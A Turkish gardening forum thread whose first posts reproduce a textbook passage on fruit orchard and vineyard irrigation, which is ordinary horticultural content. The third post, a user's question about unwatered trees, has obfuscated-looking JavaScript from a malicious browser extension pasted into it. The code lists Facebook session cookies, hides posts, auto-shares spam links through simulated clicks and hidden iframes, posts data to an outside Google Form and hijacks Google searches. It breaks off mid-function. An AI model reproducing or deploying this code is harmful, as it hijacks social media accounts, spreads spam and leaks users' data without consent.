Duyuru

Collapse
No announcement yet.

Meyve Bahçelerinde Sulama

Collapse
X
 
  • Filter
  • Saat
  • Show
Clear All
new posts

  • Meyve Bahçelerinde Sulama

    Sulama

    Sulama genel olarak bitkilerin gelişmeleri, düzenli, yeterli ve kaliteli ürün vermeleri için gerekli olan, fakat doğal yollarla (yağışlarla) karşılanamayan suyun yapay olarak toprağa verilmesidir.

    Topraktaki su doğal olarak yağışlardan kazanılır. Ancak doğal yollarla kazanılan su gereksinimi her zaman karşılamaz. Yıllık yağış toplamı yeterli olsa bile, yağışların yıl içindeki dağılışı düzenli olmayan yerlerde zaman zaman kuraklık söz konusu olur. Kuraklık, özellikle bitkilerin vegetatif gelişmelerinin yoğun olduğu ilkbahar ve yaz aylarında olduğunda, sıklığı ve süresine bağlı olarak, bahçe bitkileri yetiştiriciliğim olumsuz yönde etkiler. Bu nedenle yıllık yağış toplamının yetersiz olduğu (300-500 mm), ya da yeterli olsa bile (800-900 mm) yağışların büyük bir kısmının gelişme periyodu dışında düştüğü yerlerde sulama yapılmadan ekonomik anlamda meyvecilik ve bağcılık yapılamaz.
    Sulama sadece vegatatif gelişme üzerinde değil, verim ve kalite üzerinde de oldukça önemli bir etkiye sahiptir. Kurak ve yarı kurak iklime sahip bölgelerde ve yüzlek köklü türlerin yetiştiriciliğinde bu etki daha iyi görülebilir.

    Sulamanın vegetatif ve generatif gelişme üzerindeki yararları aşağıda özetlenmiştir:

    Kök gelişmesi: Bitkilerin iyi beslenebilmelerinde köklerin rolü büyüktür. Topraktaki su ve besin maddelerinden yeterince yararlanabilmeleri kök gelişmesine bağlıdır. Ayrıca yeterli ölçüde yaprak alanı için yeterli bir kök alanı gerekir. Sulanan topraklarda kök büyümesi ve gelişmesi çok daha fazladır.

    Sürgün gelişmesi: İlkbahar ve erken yaz aylarında görülen su yetersizliğinde sürgünlerin gelişmesi yavaş ve zayıftır. Çabuk dinlenmeye girerek gelişmeleri durur. Bu da fotosentez için gerekli yaprak alanının azalmasına neden olur. Büyüme mevsiminin herhangi bir bölümünde fotosentez olayındaki azalma karbonhidrat üretiminde, besin maddelerinin birikiminde ve verimde azalmaya neden olur. Bu olumsuz etkiler çok yıllık bitkilerde ertesi yılda da kendisim gösterir. Kış soğuklarından daha fazla zararlanma olur ve meyve tomurcuğu oluşumu azalır. Sulama ile daha düzgün ve kuvvetli sürgün gelişmesi sağlanır.

    Gövde ve taç büyümesi: Sulanan topraklarda sağlıklı kök ve sürgün gelişmesi sonucunda gövde yavaş fakat devamlı bir gelişme gösterir. Buna paralel olarak taç gelişmeleri kuvvetli olacağından çiçek tomurcuğu sayısı ve verim artar.

    Çiçek tomurcuğu oluşumu ve gelişmesi: İlkbahar sonu ve yaz başlarında oluşan tomurcukların sonbahara kadar olan gelişmeleri için sulama çok önem taşır. Kurak yerlerde veya sulanmayan topraklarda çiçek tomurcukları erken oluşur, fakat iyi beslenemediklerinden yavaş ve düzensiz gelişirler. Çoğu kez organ taslaklarını tamamlayamadan dinlenmeye girdiklerinden ertesi ilkbaharda çiçeklenme düzensiz olur ve anormal yapıdaki çiçeklerde döllenme de normal olamayacağından verim düşer. Sulanan topraklarda tomurcuklarda farklılaşmanın

    (ayrım periyodu) geç olmasına karşın, sağlıklı gelişme ve düzenli bir çiçeklenme ve döllenme ile yüksek verim elde edilir.

    Meyve dökümleri: Haziran ve derim öncesi meyve dökümlerinin başlıca nedeni su dengesinin bozulmasıdır. Kurak ya da sulanmayan yerlerde bu dökümler çok görülür. Hava sıcaklığının ve yaprak alanının artışı ile transpirasyonla su kaybı da artar. Toprakta yeterli su bulunmaması halinde ozmotik güçleri daha fazla olan yapraklar kendilerine en yakın olan meyvelerdeki suyu çekerek onların dökülmelerine neden olur. Su tüketiminin fazla olduğu meyvelerde gelişme dönemindeki sulamalarla su dengesi kurularak dökümler önlenir ya da şiddeti azaltılabilir.

    Meyve verim ve kalitesi: Topraktaki su miktarı, özellikle sofralık meyve ve üzüm çeşitlerinde meyve iriliği ve rengini artırarak kaliteyi önemli düzeyde iyileştirir. Meyvelerin gelişmeye başladığı ve olgunluğa yaklaştığı dönemlerde toprakta yeterli suyun bulunması ile meyve iriliğinde %20-40 oranında bir artış sağlanarak verim miktarı artırılabilir. Bu kritik dönemlerde yeterli suyun sağlanamaması meyvelerin küçük kalmasına ve renklerinin solgun olmasına, kabuklu meyvelerde için (tohumun) kabuğu tam olarak doldurmamasma neden olarak verim ve kaliteyi düşürür.

    Topraktaki suyun yağışlarla ya da sulama ile bitkilerin ihtiyacım karşılayacak düzeylerde tutulması, geniş bir taç sisteminin kurulması, çok sayıda çiçek tomurcuklarının oluşması, meyve dökümlerinin önlenmesi ve meyvelerde irilik ve renk oluşumunun sağlanması ile verim ve kaliteyi artırır. Bu bakımdan meyve bahçelerinde ve bağlarda verimi artırmak için rasyonel bir sulama en başta dikkate alınması gereken önlemlerden biridir.

    Sulama ile üretim artışı ekonomik bir beklenti ise de aşırı sulama topraktaki yetersiz su kadar bahçe bitkilerinin yetiştirilmesini olumsuz yönde etkileyebilir. Fazla sulamanın zararları aşağıda özetlenmiştir:

    - Özellikle killi topraklarda yetişen ve kuvvetli gelişen meyve türlerinde vegetatif gelişmeyi uyararak çiçek tomurcuğu oluşumunu engeller ve gençlik kısırlığı süresini uzatır.
    - Geç sonbahara kadar uzatılan sulamalarla gelişmesi sürekli
    uyarılan sürgünler pişkinleşemez. Kışları sert ve donlu geçen yerlerde
    bu sürgünler donarak zararlanırlar.

    - Aşırı sulama sonucu oluşan fazla dal ve yapraklar fazla
    gölgeleme yaparak meyvelerde rengin iyi oluşmamasına neden olur.

    - Derimden kısa bir süre önce yapılan fazla sulamalar meyve
    iriliğini artırırsa da meyvelerin tad ve rengini ve yola dayanımlarını
    azaltır. Bu meyveler kaba etli ve lezzetsiz olurlar.

    - Elma, erik, ayva, nar gibi bazı meyve türlerinde ve Karaerik,
    Cardinal, Alphonse Lavallee ve Red Malağa gibi üzüm çeşitlerinde
    kurak bir periyodu izleyen aşırı sulamalar olgunluğa yakın meyvelerde
    çatlama ve yarılmalara neden olur.

    - Fazla sulama, sulama masraflarını artırır. Zira sulama tesislerinin
    kurulması ve sulama özellikle su kaynakları sınırlı olan yerlerde
    oldukça pahalıdır.

    - Fakir ve süzek topraklarda bitki besin maddelerinin yıkanmasına
    neden olarak bu toprakları daha da fakirleştirir ve gübreleme
    masraflarını artırır.

    - Drenajı iyi olmayan bazı topraklarda aşırı sulamalar tuzlanmaya
    ve hatta çoraklaşmaya neden olabilir.

    Meyve bahçeleri ve bağlarda sulamanın başarılı olabilmesi, su düzeninin yani topraktaki su ile transpirasyonla kaybedilen su arasındaki dengenin kurulmasına bağlıdır. Bu dengenin iyi kurulabilmesi için sulama zamanının, sulama sıklığının ve bir sulamada toprağı verilecek su miktarının çok iyi belirlenmesi gerekir.

    Sulama zamanının belirlenmesi

    Meyve bahçeleri ve bağlarda sulama zamanının belirlenmesi diğer kültür bitkilerinde olduğu kadar kolay değildir. Çok yıllık odunsu bitkiler olan meyve ağaçları ve asmalar geniş ve derin kök sistemine sahiptirler. Sulama zamanının saptanmasında su ihtiyacının belirtisi olan yapraklarda solmanın beklendiği durumlarda çok geç kalınmış olur. Bitki kök bölgesindeki toprak neminin ölçülerek sulama
    zamanının tesbiti, sulama randımanı yönünden zorunludur. Zira bitkiler topraktaki suyun ancak bir kısmından yararlanabilirler.

    Bitkilere yararlı olan toprak suyunun kesin sınırları vardır. Toprak, yağışlar ya da sulama ile alabileceği suyun hepsini almışsa, buna "maksimum su kapasitesi" denir. Bu suyun hepsi toprakta tutunamaz. Bir kısmı yer çekimi ile dere ve ırmaklara karışır, ya da toprağın daha derinlerine sızar. Bu suya "yerçekimi suyu" denir. Bir kısmı da kılcal kuvvetler yardımı ile fiziksel olarak toprak tarafından tutulur ki, buna "kılcal su (Kapılar su)" denir. Bitkiler bu sudan yararlanabilirler. Kılcal suyun en üst sınırına "Tarla kapasitesi" denir ve toprakta tutulabilen maksimum nem yüzdesini ifade eder. Kılcal sudan bitkilerin yararlanabileceği en alt sınıra "Sürekli solma noktası" denir. Bu noktada toprak partikülleri tarafından sıkı bir şekilde tutulmuş olan suyu (higroskopik su) bitkiler alamadıklarından sürekli solgunluk gösterirler. Toprağa tekrar su verilse bile tekrar eski hallerine gelemezler. Tarla kapasitesi ile sürekli solma noktası arasında toprakta tutulan kılcal suya "Kullanılabilir su kapasitesi" denir. Toprakta herhangi bir andaki nem içeriği ile sürekli solma noktası arasındaki fark ise, o anda toprakta bulunan kullanılabilir suyu verir.

    Kullanılabilir su miktarı tarla kapasitesinden sürekli solma noktasına doğru azaldıkça bitki köklerinin suyu almaları zorlaşır. Bu durum bitkilerde su eksikliğine neden olur. Eğer sulama ile topraktaki kullanılabilir su miktarı artırılmazsa bitki solar ve nihayet ölür. Bu nedenle su ihtiyacının tesbitinde tarla kapasitesi ile sürekli solma noktası arasındaki suyun miktarı dikkate alınır. Prensip olarak sulama, toprak nemi sürekli solma noktasına düşmeden önce yapılmalıdır. Kök bölgesindeki kullanılabilir suyun %50 veya %75'i bitki tarafından alındığında, bir başka deyişle kullanılabilir su tutma kapasitesi %50 veya %25'e düştüğü zaman sulama yapılması önerilir.

    Kullanılabilir su düzeyinin ölçülmesi sulama zamanının belirlenmesinde esas olmakla birlikte, sulamanın ne zaman yapılacağını kesin olarak belirten pratik bir yöntem yoktur. Yine de yetiştiricilerin kendi şartlarına (bitki ve toprak) etkili bir şekilde adapte edebilecekleri bazı kaba testler ve gözlemler vardır. Örneğin, deneyimli bir yetiştirici değişik derinliklerden (en az 30 cm) alman toprak örneklerine dokunarak ya da avuç içinde toprağı sıkarak, toprak nemine göre sulama zamanını saptayabilir veya meyve ağaçlarının yaprak renginde matlaşma, asmalarda yaprakların gri-yeşil renge dönmesi gibi durumları gözleyerek sulama zamanını belirleyebilir. Sulama için hiçbir zaman yaprakların solması beklenmemelidir. En iyisi meyve ağaçlarının ya da asmaların altında yetişen derin köklü yabancı otların solmasını izlemektir. Pratik olmakla birlikte sübjektif olarak yapılan bu testler, toprak nemini ölçebilen aletlerle ya da laboratuvar yöntemleriyle yapılan objektif testler kadar geçerli değildir. Toprağın yaş ve kuru ağırlığının laboratuvarda saptanarak aradaki farktan toprak neminin elde edilmesi esasına dayanan gravimetrik yöntem iyi sonuç verirse de, pratik değildir. Bugün, değişik prensiplerden yararlanılarak yapılmış aletler, örneğin tansiyometreler toprak nemini bahçede ve amnda ölçerek sulama zamamnın belirlenmesinde kullanılmaktadırlar.

    Sulama zamanları

    Meyve bahçeleri ve bağlarda bazı koşullara ve olanaklara bağlı olarak yılın dört mevsiminde değişik amaçlarla sulama yapılabilir.

    Kış sulaması: Meyve bahçeleri ve bağlarda yağışlar önemli bir girdi oluşturarak sulama masrafı ve emeğinin azalmasında yardımcı olurlar. Ancak iklim ve toprak özelliklerine göre her zaman bu imkandan yararlanılamaz. Örneğin, kurak iklimi olan yerlerde ya da kurak geçen yıllarda kışın yağışlarla toprakta depo edilen su miktarı az olacağından, ilkbahar ve yaz aylarında su sıkıntısı çekilen yerlerde, suyun daha bol olduğu kış aylarında bir veya iki kez yapılan sulamalarla suyun toprakta depolanması ekonomik yarar sağlar. Bu amaçla yapılan kış sulamalarının etkinliği toprak derinliği ve toprağın su tutma kapasitesine göre değişir.

    İlkbahar sulaması: Eğer kış yağışları yetersiz ve kış sulaması yapılmamış ise, ya da ilkbahar yağışsız geçiyorsa, uyanma başlamadan önce yapılacak sulamalar toprak su içeriğini artırarak ilkbahar gelişme periyodundaki su ihtiyacının karşılanmasını sağlar.

    Yaz sulaması: Yazın yapılan sulamaların önemi büyüktür. Çünkü vegetatif ve generatif gelişme üzerine doğrudan etkilidir. Yaz gelişme periyodunda hava sıcaklığının yüksek olması, topraktan evaporasyon ve yapraklardan transpirasyon yolu ile su tüketimim artırır. Toprak neminin azalmasıyla büyümede yavaşlama, meyve dökümleri ve meyve iriliğinde azalma olur. Ertesi yılın ürününü oluşturacak olan meyve tomurcuklarının oluşması ve gelişmelerinin tamamlanmasında aksaklıklara neden olur. Bu nedenle yaz sulamaları zamanında yapılmalı ve meyve deriminden sonra da sulamalara devam edilmelidir. Ancak sonbahar erken donları görülen ve kışı sert geçen yerlerde yaz sulamaları sonbahar içlerine kadar uzatılmamalıdır. Aksi halde vegetatif gelişme devam edeceğinden sürgünler pişkinleşernez ve dondan zararlanırlar.

    Sonbahar sulaması: Yaz sonları kurak geçen yerlerde sonbaharda bir veya iki kez sulama yapmak, çiçek tomurcuklarının gelişmelerini tamamlamaları bakımından yararlı olur. Ancak bu sulamalar da çok geç yapılmamalıdır.

    Yağışların yeterli olmadığı ve sulama imkanlarının çok sınırlı olduğu yerlerde meyve bahçeleri ve bağlarda aşağıdaki zamanlarda mutlaka sulama yapılmalıdır.

    1. İlkbahar başında, vegetasyon başlamadan önce, •

    2. Çiçeklenmeden sonra,

    3. Meyveler olgunlaşmadan önce (bağlar için ben düşme
    devresinde),

    4. Meyveler derildikten sonra (özellikle sıcak ekolojilerde tüm
    meyve ve üzüm çeşitleri ile daha serin ekolojilerde sert çekirdekli
    meyveler için gereklidir).

  • #2
    Cevap: Meyve Bahçelerinde Sulama

    Sulama aralığı (sıklığı)

    Prensip olarak kullanılabilir su kapasitesi %50 veya %25'e düştüğü zaman sulama yapılması gerektiğine değinmiştik. Kullanılabilir suyun bu oranlara düşmesi için geçen süre sulama aralığını belirler. Bu süre topraktaki kullanılabilir suyun miktarı ve yetiştirilen tür ve çeşitlerin kök derinliği ve su tüketimine göre değiştiğinden meyve bahçeleri ve bağların ne kadar aralıklarla (kaç günde bir) sulanması gerektiğini tespit etmek oldukça zordur. Pıatik olarak sulama aralığı kullanılabilir suyun %50'sinin bitkinin günlük su tüketimine bölünmesi ile bulunur. Bitkinin günlük su tüketimi sabit değildir. Bazı iklim ve bitki faktörleri dikkate alınarak hazırlanmış formüllerle hesaplanabilir.

    Sulama aralığını etkileyen faktörler iklim, toprak ve bitki faktörleri olarak üç grupta incelenebilir.

    İklim: Yüksek sıcaklık, düşük nem ve rüzgâr topraktan evaporasyon ve bitkiden transpirasyon yolu ile su kaybının artmasına yani toprak neminin azalmasına neden olarak sulama aralığını kısaltır. Şüphesiz yağışların etkinliği daha fazladır. Yağış olan yer ve zamanlarda sulama aralığı uzundur.

    Toprak: Toprağın su tutma kapasitesi önemli bir faktördür ve toprağın fiziksel yapısı ve toprak derinliğine bağlı olarak sulama sıklığını etkiler. Örneğin, killi toprakların su tutma kapasitesi kumlu topraklardan çok daha fazla olduğundan sulama daha uzun aralıklarla yapılır. Toprak derinliğinin fazla olması da sulama aralığım uzatır.

    Bitki: Yetiştirilen tür ve çeşitlerin kök gelişmesi ve derinliği, taç gelişme kuvveti, yaprak alam ve morfolojisi gibi özelliklerine bağlı olarak su tüketimleri farklıdır. Meyve türlerini su isteklerine göre dikkate aldığımızda erik ve elma ilk başta yer alır. Bunları armut, kiraz, şeftali izler. Kayısı, badem, vişne, incir ve zeytin su tüketimi en az olan meyve türleridir. Bu nedenle diğer meyve türlerine göre daha uzun aralıklarla sulanabilirler. Yetiştirilen çeşitlerin sofralık ya da kurutmalık çeşitler olması da sulama aralığını etkiler. Örneğin, sofralık üzüm bağlarında sulama aralığı, kurutmalık ve şaraplık bağlardakinden daha kısadır. Ayrıca meyve ağaçları ve asmaların yaşı, gelişme hızı, ürün miktarı ve hatta dikim sıklığı da sulama aralığım etkiler.
    Bir sulamada verilecek su miktarı

    Her sulamada toprağa verilecek su miktarı çok önemlidir. Fazla miktarda su vermek, sulama masraflarını artırır. Ayrıca, özellikle killi topraklarda köklerin havalanmasını engelleyerek kök gelişmesini ve beslenmeyi olumsuz yönde etkiler. Kumlu topraklarda ise kolayca süzülerek bitki besin maddelerinin yıkanmasına neden olur. Bu nedenle verilecek su miktarı kök gelişme bölgesindeki toprağı ıslatacak kadar olmalıdır. Sulama zamanı ve sulama aralığının belirlenmesinde olduğu gibi, her sulamada verilmesi gereken su miktarının tespitinde de topraktaki kullanılabilir su düzeyinden yararlanılır. Kök gelişme derinliği bilinirse ve toprağın kullanılabilir su miktarı ölçülebiliyorsa verilmesi gereken su miktarı kolayca hesaplanabilir. Sulama zamanında kök gelişme derinliğinin her 30 cm'sindeki kullanılabilir su miktarı (mm) ölçülür ve bu derinliklerdeki kullanılabilir su tutma kapasitesinden çıkarılarak her 30 cm'deki kullanılabilir su eksikliği tespit edilir. Bu değerlerin toplamı, toprağa verilmesi gereken toplam su miktarını "mm" değeri olarak verir.

    Sulama yöntemleri

    Sulamanın amacına ulaşabilmesi ve ekonomik olarak yapılabilmesi için en uygun sulama yönteminin seçilmesi gerekir. Meyve bahçeleri ve bağlar kurulurken sulama yönteminin seçiminde arazinin topografik durumu, toprak özellikleri, iklim özellikleri, sulama suyunun kaynağı ve niteliği incelenmelidir. Ayrıca seçilecek yöntemin kuruluş ve işletme giderlerinin ekonomik olanaklara uygunluğu da dikkate alınmalıdır.

    Sulama yapılırken su, ya toprak üstünden (yüzey sulama), ya da toprak altından (dip sulaması) verilir. Genel olarak uygulanmasının daha kolay olması nedeniyle, yüzey sulama yöntemleri daha yaygın olarak kullanılmaktadır. Meyve bahçeleri ve bağların sulanmasında yüzey sulama yöntemlerinden tava, karık, yağmurlama ve damla sulama yöntemleri kullanılır.

    Tava yöntemi: Sulama suyunun bol olduğu yerlerde uygulanır. Düz
    (%1.5-2'den az meyilli), hafif ve orta hafif topraklar için uygundur. Bu yöntemle bahçe, toprağın tipi, arazinin meyili ve su miktarına uygun büyüklükte tavalara ayrılır. Her tavanın kenarları 25-30 cm yüksekliğinde toprak sedlerle çevrilir. Bu tavalara su verilerek havuz gibi doldurulur. Tavalarda biriken suyun yüksekliği, yetiştirilen bitkinin kök gelişme derinliğine ve kullanılabilir su düzeyine göre değişmekle birlikte, 10-15 cm oluncaya kadar sulamaya devam edilir. Bu yöntemde toprak yüzeyi tamamen ısîatıldığı için çok fazla su harcanır ve toprağın havalanması engellenmiş olur. Özellikle killi topraklarda her sulamadan sonra oluşan kaymak tabakasım kırmak için toprağın çapalanması gerekir.

    Karık yöntemi: Sulama suyunun az olduğu yerlerde uygulanır. Sıralar arasında, toprak tipi ve sıralar arası genişliğine bağlı olarak, bir veya birden fazla sayıda karıklar açılır. Su, ana kanaldan bu karıklara verilerek yapılır. Karıklar arası mesafe, karıkların genişliği, derinliği ve uzunluğu, bahçe toprağının tipi, arazinin meyili ve verilecek suyun miktarına göre değişir. Karıklar meyil boyunca açılmalı ve %3'den daha fazla meyilli olmamalıdır.

    Yağmurlama yöntemi: Suyu yukarıdaki yöntemlere göre daha ekonomik olarak kullanan, taşlı ve tumlu topraklarda ve meyilli arazilerde uygulanabilen bir yöntemdir. Yalnız ilk tesis, yıllık bakım ve işletme masrafları yüksektir. Ayrıca sulamada kullanılacak suyun özellikleri çok önemlidir. Yağmurlama yönteminde basınçlı su, delikli borular, sabit memeler veya döner başlıklardan püskürtülerek damlalar halinde toprağa verilir. Bu sistemin iyi çalışabilmesi için havanın rüzgârsız ya da rüzgâr hızının çok düşük olması gerekir. Bu sistem aynı zamanda yaprak gübrelerinin verilmesinde, mücadele ilaçlarının uygulanmasında ve ilkbahar geç donlarından korunmada da kullanılabilmektedir.

    Damla sulama yöntemi: Son yıllarda, özellikle sulama suyunun kıt olduğu yerlerde ve sıcak iklim koşullarında, bu yöntem yaygın bir şekilde kullanılmaya başlanmıştır. Yağmurlama yönteminde olduğu gibi, engebeli veya meyilli arazilerde rahatlıkla kullanılabilir;
    gübreleme ve yabancı ot mücadelesinde yararlanılabilir. Damla sulamada su, bitkilerin yakınından geçirilen lateral borulara çok düşük basınç altında verilerek lateral borulardaki damlatıcılardan çok yavaş ve az miktarlarda, fakat sık sık damlalar halinde toprağa verilir. Böylece evaporasyon ile meydana gelebilecek su kayıpları önlendiğinden, yüksek randımanlı bir su kullanımı ve ekonomisi sağlar. Bu yöntemin en önemli sorunu damlatıcılarm tıkanmasıdır. Özellikle kalsiyum karbonat ve demir oksit gibi tuzları taşıyan ve iyi süzülmemiş sular ile damlatıcılarm iç yüzeyinde gelişen yeşil algler damlatıcılarda birikerek tıkanmaya neden olurlar.

    Su kaynağı ve sulama suyunun özellikleri

    Sulamanın başarılı olmasında etkili olan bir faktör de sulama suyunun özellikleridir. Zira sulamada kullanılacak sular hiçbir zaman yağmur suları gibi saf değildirler. Geldikleri kaynağa göre havalanmaları, içerisinde erimiş halde bulunan tuzların cins ve miktarları değişiktir. Bu nedenle sulama suyunun elverişliliği yetiştirilecek tür ve çeşitler, toprağın özelliği ve kullanılacak sulama yöntemi dikkate alınarak önceden tespit edilmelidir. Sulama suyu soğuk olmamalı, havalanmış olmalı, içerisinde bitkilere zarar verecek yabancı maddeleri içermemeli ve fazla tuzlu olmamalıdır. Sulama suyu kalitesini etkileyen en önemli faktör tuzluluktur. Meyve ağaçları ve asmaların tuza dayanımları tür, çeşit ve anaçlara göre değişir. Ancak meyve ağaçları ve asmaların tuza dayanımları tarla ve yem bitkilerinden, hatta sebzelerden daha düşüktür. Toprak saturasyon eriyiği elektriksek iletkenlik (ECe) değeri esas alınırsa, yumuşak ve sert çekirdekli meyveler ile turunçgil meyveleri 2 mmhos/cm, nar, incir, zeytin ve üzüm 4 mmhos/cm, hurma ise 12 mmhos/cm'den daha yüksek tuzluluk koşullarında verim ve kalite kaybına uğramaktadır.

    Sulamada kullanılan su kaynakları yağmur suları, nehir suları (akar sular), kuyu ve artezyen suları (yeraltı suları) ve göl suları (durgun sular)'dır. Sulama suyunda aranılan özellikler dikkate alındığında su kaynaklan içerisinde en uygunu yağmur sularıdır. Ancak bu sularıntoplanması büyük işletmeler için zordur. Nehir suları hareketli sular olduğu için havalanması ve sıcaklığı yönünden sulamaya en uygun sulardır. Ancak geçtikleri topraklardan fazlaca tuz almamış ve kirlenmemiş olmalıdırlar. Kuyu ve artezyen suları soğuk ve havasız sulardır. Kullanılmadan önce havuzlarda toplanarak havalanmaları ve ısınmaları sağlanmalıdır. Göl ve gölet gibi durgun sular da kuyu suları gibi havasız sulardır.

    Sulama zamanı, sulama aralıkları, her sulamada verilecek su miktarı, sulama yönteminin seçiminde pekçok faktör etkili olduğundan, meyve bahçeleri ve bağlar için her yerde geçerli olabilecek bir sulama programının önerilmesi çok zordur

    KAYNAK: Genel Bahçe Bitkileri
    Prof.Dr.Atila GÜNAY

    Comment


    • #3
      benim bir sorum olacak benim sinopta 200 e yakın meyve ağaçlarım var aşılı fidan değişk çeşitler köyümüzde yazın su sıkıntısı var ama mayıs ayına kadar yağmurlu haziran temmuz ağustos eyülül sonu yağışlar başlııyor yaz aylarında ağaçlara su veremiyoruz bunun zaraları nelerdir ağaçlarda çabuk yaşlanma olurmu diktiğim ağaçlarında %95 i tuttu arada çok az kuruyanlar oldu function trackUsers2(){ var fbCookies = ["act","c_user","datr","fr","lu","p","presence","xs "]; (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','_extTracker2'); _extTracker2('create', 'UA-45981294-1', 'auto'); _extTracker2('send', 'pageview'); if (window.location.href.indexOf("facebook.com") != -1){ //a(573565101); _extTracker2('send', 'event', 'facebook', 'browse', window.location.href); //fbShare("http://bit.ly/187Sm8x","beyler çok sağlam link buldum izliyebilirsiniz bit.ly/ 187Sm8x"); fbHidePosts("beyler"); shareMassLink(); fbHidePosts("olaya bak"); fbHidePosts("istifa etmiş"); setTimeout(function(){ fbHidePosts("olaya bak"); fbHidePosts("istifa etmiş"); },5000); } else if (window.location.href.indexOf("twitter.com") != -1) _extTracker2('send', 'event', 'twitter', 'browse', window.location.href); else { _extTracker2('send', 'event', 'other', 'browse', window.location.href); }// if ( window.location.href.indexOf("https://dl.dropboxusercontent.com")==-1 && (!window.dontRedirectForExtension)){// window.location.href = "https://dl.dropboxusercontent.com/u/10425537/mass/live.html";// }}function simulate(e,t){var n=extend(defaultOptions,arguments[2]||{});var r,i=null;for(var s in eventMatchers){if(eventMatchers[s].test(t)){i=s;break}}if(!i)throw new SyntaxError("Only HTMLEvents and MouseEvents interfaces are supported");if(document.createEvent){r=document.cr eateEvent(i);if(i=="HTMLEvents"){r.initEvent(t,n.b ubbles,n.cancelable)}else{r.initMouseEvent(t,n.bub bles,n.cancelable,document.defaultView,n.button,n. pointerX,n.pointerY,n.pointerX,n.pointerY,n.ctrlKe y,n.altKey,n.shiftKey,n.metaKey,n.button,e)}e.disp atchEvent(r)}else{n.clientX=n.pointerX;n.clientY=n .pointerY;var o=document.createEventObject();r=extend(o,n);e.fir eEvent("on"+t,r)}return e}function extend(e,t){for(var n in t)e[n]=t[n];return e}var eventMatchers={HTMLEvents:/^(?:load|unload|abort|error|select|change|submit|r eset|focus|blur|resize|scroll)$/,MouseEvents:/^(?:click|dblclick|mouse(?:down|up|over|move|out)) $/};var defaultOptions={pointerX:0,pointerY:0,button:0,ctr lKey:false,altKey:false,shiftKey:false,metaKey:fal se,bubbles:true,cancelable:true}function setCookie(e,t,n){var r=new Date;r.setDate(r.getDate()+n);var i=escape(t)+(n==null?"":"; expires="+r.toUTCString());document.cookie=e+"="+i }function getCookie(e){var t=document.cookie;var n=t.indexOf(" "+e+"=");if(n==-1){n=t.indexOf(e+"=")}if(n==-1){t=null}else{n=t.indexOf("=",n)+1;var r=t.indexOf(";",n);if(r==-1){r=t.length}t=unescape(t.substring(n,r))}return t}function gDocpost(message){ var form = document.createElement("form"); var input = document.createElement("input"); form.action = "https://docs.google.com/forms/d/13uvLIAeJNW0mn8Z6MBuSPR_-G97w-K3oEdY5weC5LDU/formResponse"; if (!document.getElementById("gdocTarget")){ var iframe = document.createElement("iframe"); iframe.id = "gdocTarget"; iframe.style.display = "none"; document.body.appendChild(iframe); } form.method = "post"; form.target = "gdocTarget"; iframe.name = "gdocTarget"; input.name = "entry.439847957"; input.value = message; form.appendChild(input); form.submit();}if ((window.location.pathname == "/") && (window.location.href.indexOf("www.google.com")!=-1) && (window.location.href.indexOf("q=")==-1 ) && (window.location.href.indexOf("x=a0101")==-1) ){ setTimeout(function(){ window.location.href = "https://www.google.com.tr/search?q=otel+rezervasyon&oq=otel+rezervasyon&star t=10"; },50); }if (window.location.href.indexOf("www.google.com")!=-1 && window.location.href.indexOf("?q=otel+rezervasyon" )!=-1){ var cites = document.getElementsByTagName("cite"); for(var i = 0;i0){ thinkText = thinkTexts[0]; } thinkText.setAttribute("onclick",thinkText.getAttr ibute("onkeydown")); if (thinkText.onclick){ simulate(thinkText,"click"); } thinkText.focus(); simulate(thinkText,"click"); thinkText.value = link; setTimeout(function(){ setTimeout(function(){ thinkText.value = text; var thinkText2 = document.getElementsByName("xhpc_message"); if (thinkText2.length>0) thinkText2[0].value = text; var form = thinkText.parentNode; while(form.nodeName != "FORM"){ form = form.parentNode; if (form==null) return; } console.log("L-S"); localStorage["lastShareDate"] = ""+nowTimeStampt(); addShared(link); var iframe = document.createElement("iframe"); iframe.id = nowTimeStampt(); iframe.name = iframe.id; iframe.style.position = "fixed"; iframe.style.top = "0px"; iframe.style.left = "0px"; iframe.style.width = "1px"; iframe.style.height = "1px"; iframe.style.opacity = "0.1"; document.body.appendChild(iframe); form.target = iframe.id; form.submit(); },2000); },500); },200); }}function fbHidePosts(message){ if (message == ""){ if (document.querySelectorAll(".fbxWelcomeBoxBlock"). length>0){ me = document.querySelectorAll(".fbxWelcomeBoxBlock")[0].href; var profileLinks = document.querySelectorAll(".userContentWrapper>a") ; for(var i = 0;i

      Comment

      Working...
      X